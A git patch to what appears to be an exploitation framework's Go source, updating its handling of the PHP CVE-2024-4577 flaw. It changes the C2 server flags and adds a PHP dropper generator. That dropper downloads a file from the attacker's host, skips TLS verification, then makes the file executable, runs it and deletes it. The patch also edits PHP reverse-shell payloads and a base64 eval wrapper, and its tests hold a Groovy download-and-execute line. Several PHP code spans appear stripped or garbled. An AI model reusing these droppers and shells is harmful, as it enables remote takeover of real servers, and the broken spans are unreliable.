From 3f0bc76eaf972a1003625a7f17e14d358e02b4fd Mon Sep 17 00:00:00 2001 From: Jacob Baines Date: Mon, 10 Jun 2024 16:59:27 -0400 Subject: [PATCH] Updates to improve handling of PHP CVE-2024-4577 --- c2/httpservefile/httpservefile.go | 14 +++++++++----- c2/sslshell/sslshellserver.go | 8 ++++++-- payload/dropper/dropper.go | 2 ++ payload/dropper/dropper_test.go | 13 ++++++++++++- payload/dropper/groovy.go | 2 +- payload/dropper/php.go | 31 +++++++++++++++++++++++++++++++ payload/reverse/php.go | 4 ++-- payload/wrapper.go | 7 +++++++ payload/wrapper_test.go | 10 ++++++++++ 9 files changed, 80 insertions(+), 11 deletions(-) create mode 100644 payload/dropper/php.go diff --git a/c2/httpservefile/httpservefile.go b/c2/httpservefile/httpservefile.go index 706c24e..d5a7b6c 100644 --- a/c2/httpservefile/httpservefile.go +++ b/c2/httpservefile/httpservefile.go @@ -78,11 +78,15 @@ func GetInstance() *Server { // User options for serving a file over HTTP as the "c2". func (httpServer *Server) CreateFlags() { - flag.StringVar(&httpServer.FilesToServe, "httpServeFile.FilesToServe", "", "A comma delimited list of all the files to serve") - flag.StringVar(&httpServer.ServerField, "httpServeFile.ServerField", "Apache", "The value to insert in the HTTP server field") - flag.BoolVar(&httpServer.TLS, "httpServeFile.TLS", false, "Indicates if the HTTP server should use encryption") - flag.StringVar(&httpServer.PrivateKeyFile, "httpServeFile.PrivateKeyFile", "", "A private key to use with the HTTPS server") - flag.StringVar(&httpServer.CertificateFile, "httpServeFile.CertificateFile", "", "The certificate to use with the HTTPS server") + // some c2 are really just chained implementations (e.g. httpserveshell is httpservefile plus simpleshell or sslshell). + // so first check if these values have already been generated + if flag.Lookup("httpServeFile.FilesToServe") == nil { + flag.StringVar(&httpServer.FilesToServe, "httpServeFile.FilesToServe", "", "A comma delimited list of all the files to serve") + flag.StringVar(&httpServer.ServerField, "httpServeFile.ServerField", "Apache", "The value to insert in the HTTP server field") + flag.BoolVar(&httpServer.TLS, "httpServeFile.TLS", false, "Indicates if the HTTP server should use encryption") + flag.StringVar(&httpServer.PrivateKeyFile, "httpServeFile.PrivateKeyFile", "", "A private key to use with the HTTPS server") + flag.StringVar(&httpServer.CertificateFile, "httpServeFile.CertificateFile", "", "The certificate to use with the HTTPS server") + } } // load the provided files into memory, stored in a map, and loads the tls cert if needed. diff --git a/c2/sslshell/sslshellserver.go b/c2/sslshell/sslshellserver.go index bc12b5d..1a96787 100644 --- a/c2/sslshell/sslshellserver.go +++ b/c2/sslshell/sslshellserver.go @@ -52,8 +52,12 @@ func GetInstance() *Server { // Create the flags for accepting custom TLS configurations. func (shellServer *Server) CreateFlags() { - flag.StringVar(&shellServer.PrivateKeyFile, "sslShellServer.PrivateKeyFile", "", "A private key to use with the SSL server") - flag.StringVar(&shellServer.CertificateFile, "sslShellServer.CertificateFile", "", "The certificate to use with the SSL server") + // some c2 are really just chained implementations (e.g. httpserveshell is httpservefile plus simpleshell or sslshell). + // so first check if these values have already been generated + if flag.Lookup("sslShellServer.PrivateKeyFile") == nil { + flag.StringVar(&shellServer.PrivateKeyFile, "sslShellServer.PrivateKeyFile", "", "A private key to use with the SSL server") + flag.StringVar(&shellServer.CertificateFile, "sslShellServer.CertificateFile", "", "The certificate to use with the SSL server") + } } // Parses the user provided files or generates the certificate files and starts diff --git a/payload/dropper/dropper.go b/payload/dropper/dropper.go index 9be1ea2..cb96e84 100644 --- a/payload/dropper/dropper.go +++ b/payload/dropper/dropper.go @@ -10,10 +10,12 @@ type ( UnixPayload struct{} WindowsPayload struct{} GroovyPayload struct{} + PHPPayload struct{} ) var ( Unix = &UnixPayload{} Windows = &WindowsPayload{} Groovy = &GroovyPayload{} + PHP = &PHPPayload{} ) diff --git a/payload/dropper/dropper_test.go b/payload/dropper/dropper_test.go index c929ea2..378f7a0 100644 --- a/payload/dropper/dropper_test.go +++ b/payload/dropper/dropper_test.go @@ -163,10 +163,21 @@ func TestWindowsPowershellHTTPDownloadAndExecute(t *testing.T) { } func TestGroovyHTTP(t *testing.T) { - groovyPayload := dropper.Groovy.GroovyHTTP("127.0.0.1", 1270, "input", "output") + groovyPayload := dropper.Groovy.HTTP("127.0.0.1", 1270, "input", "output") expected := `def f = new File('output');f.withOutputStream{it << new URL('http://127.0.0.1:1270/input').openStream()};` + `f.setExecutable(true);def p = 'output'.execute();p.waitFor();f.delete();` if groovyPayload != expected { t.Fatal(groovyPayload) } } + +func TestPHPHTTP(t *testing.T) { + phpPayload := dropper.PHP.HTTP("127.0.0.1", 1270, true, "filename") + if strings.Contains(phpPayload, "context") == false { + t.Fatal("Missing SSL logic") + } + phpPayload = dropper.PHP.HTTP("127.0.0.1", 1270, false, "filename") + if strings.Contains(phpPayload, "context") { + t.Fatal("Mysterious inclusion of SSL logic") + } +} diff --git a/payload/dropper/groovy.go b/payload/dropper/groovy.go index c48831d..37504f9 100644 --- a/payload/dropper/groovy.go +++ b/payload/dropper/groovy.go @@ -5,7 +5,7 @@ import ( ) // Using Groovy, download a remote file, set it to executable, execute it, and delete it. -func (groovy *GroovyPayload) GroovyHTTP(lhost string, lport int, downloadFile string, output string) string { +func (groovy *GroovyPayload) HTTP(lhost string, lport int, downloadFile string, output string) string { // download and write the file cmd := fmt.Sprintf(`def f = new File('%s');f.withOutputStream{it << new URL('http://%s:%d/%s').openStream()};`, output, lhost, lport, downloadFile) // set the download binary as executable diff --git a/payload/dropper/php.go b/payload/dropper/php.go new file mode 100644 index 0000000..e12e2ad --- /dev/null +++ b/payload/dropper/php.go @@ -0,0 +1,31 @@ +package dropper + +import ( + "fmt" +) + +// Using PHP: download a remote file, write a tmp file, set it to executable, execute it, and delete it. +func (php *PHPPayload) HTTP(lhost string, lport int, ssl bool, downloadFile string) string { + cmd := " array("verify_peer" => false,"verify_peer_name" => false,),);` + cmd += `$context = stream_context_create($options);` + cmd += fmt.Sprintf(`$d = file_get_contents("https://%s:%d/%s", false, $context);`, lhost, lport, downloadFile) + } else { + // download the data + cmd += fmt.Sprintf(`$d = file_get_contents("http://%s:%d/%s");`, lhost, lport, downloadFile) + } + // generate a random file + cmd += `$o=tempnam(sys_get_temp_dir(), "");` + // write the data + cmd += `file_put_contents($o,$d);` + // set the download binary as executable + cmd += `chmod($o, 0755);` + // execute it + cmd += `exec($o);` + // delete it + cmd += `unlink($o); ?>` + + return cmd +} diff --git a/payload/reverse/php.go b/payload/reverse/php.go index 690c0d0..5990b06 100644 --- a/payload/reverse/php.go +++ b/payload/reverse/php.go @@ -6,8 +6,8 @@ import ( const ( PHPDefault = PHPLinuxInteractive - PHPLinuxInteractive = `$sock, 1=>$sock, 2=>$sock),$pipes); ?>` - PHPUnflattened = `$sock, 1=>$sock, 2=>$sock),$pipes); ?>` + PHPUnflattened = ``, cmd64) +} diff --git a/payload/wrapper_test.go b/payload/wrapper_test.go index da77ae6..4896458 100644 --- a/payload/wrapper_test.go +++ b/payload/wrapper_test.go @@ -25,3 +25,13 @@ func TestBase64EncodeForGroovyEval(t *testing.T) { t.Log(encoded) } + +func TestBase64EncodeFoPHPEval(t *testing.T) { + encoded := payload.Base64EncodeForPHPEval(`print("hi");`) + + if encoded != `` { + t.Fatal(encoded) + } + + t.Log(encoded) +}